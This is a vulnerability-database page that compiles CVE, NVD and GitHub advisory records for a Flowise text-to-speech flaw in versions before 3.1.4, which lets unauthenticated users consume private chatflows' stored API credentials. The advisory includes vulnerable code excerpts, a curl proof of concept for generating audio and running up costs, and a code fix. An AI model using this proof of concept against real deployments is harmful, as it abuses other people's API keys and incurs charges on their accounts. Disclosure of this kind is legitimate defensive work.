Flowise before 3.1.4 Credential Abuse via Text-to-Speech

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.

Source published

13 Aug 2026 11:28:09 UTC

Source modified

14 Aug 2026 22:27:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.

Source published

13 Aug 2026 12:17:24 UTC

Source modified

24 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 15:19:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

## Summary The `/api/v1/text-to-speech/generate` endpoint is whitelisted (requires no authentication) and accepts any `chatflowId` without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account. ## Details The TTS `generateTextToSpeech` controller at `packages/server/src/controllers/text-to-speech/index.ts:10-171` is whitelisted at `packages/server/src/utils/constants.ts:41`: ```typescript '/api/v1/text-to-speech/generate', ``` When a `chatflowId` is provided and the user is not authenticated (no `req.user`), the controller falls back to fetching the chatflow without workspace scoping: ```typescript // packages/server/src/controllers/text-to-speech/index.ts:36-42 if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set chatflow = await chatflowsService.getChatflowById(chatflowId) // NO isPublic check workspaceId = chatflow.workspaceId } ``` The `getChatflowById` function at `packages/server/src/services/chatflows/index.ts:247-272` fetches any chatflow by ID when `workspaceId` is not provided: ```typescript const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({ where: { id: chatflowId, ...(workspaceId ? { workspaceId } : {}) // No workspace filter when workspaceId is undefined } }) ``` The controller then extracts the TTS provider configuration from the chatflow: ```typescript // packages/server/src/controllers/text-to-speech/index.ts:51-66 const ttsConfig = JSON.parse(chatflow.textToSpeech) const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true) const providerConfig = ttsConfig[activeProviderKey] provider = activeProviderKey credentialId = providerConfig.credentialId // Extracted from private chatflow ``` This `credentialId` is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at `packages/components/src/textToSpeech.ts:33-34`: ```typescript const credentialId = textToSpeechConfig.credentialId as string const credentialData = await getCredentialData(credentialId ?? '', options) ``` ## PoC ```bash # Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private) CHATFLOW_ID="<any-chatflow-uuid-with-tts-enabled>" # Step 2: Abuse the TTS credential to generate audio without authentication curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOW_ID}'", "chatId": "attacker-chat-1", "chatMessageId": "msg-1", "text": "This is a test of unauthorized TTS generation using someone elses API key" }' # Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials # event: tts_start # data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}} # event: tts_data # data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}} # Step 3: Repeat with large text to incur costs curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOW_ID}'", "chatId": "attacker-chat-2", "chatMessageId": "msg-2", "text": "'$(python3 -c "print('A' * 4096)")'" }' ``` ## Impact - **Financial Impact**: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio. - **Credential Abuse**: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker. - **Denial of Service**: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow. - **Affects Private Chatflows**: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (`isPublic: false`). ## Recommended Fix 1. Check `isPublic` before allowing unauthenticated TTS generation: ```typescript // packages/server/src/controllers/text-to-speech/index.ts if (chatflowId) { let chatflow; let workspaceId = req.user?.activeWorkspaceId; if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { chatflow = await chatflowsService.getChatflowById(chatflowId) // Verify the chatflow is public before using its credentials if (!chatflow.isPublic) { throw new InternalFlowiseError( StatusCodes.UNAUTHORIZED, 'TTS generation requires authentication for non-public chatflows' ) } workspaceId = chatflow.workspaceId } // ... rest of the function } ``` 2. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.

Source published

4 Aug 2026 19:19:44 UTC

Source modified

14 Aug 2026 04:12:08 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Publisher rating · MODERATE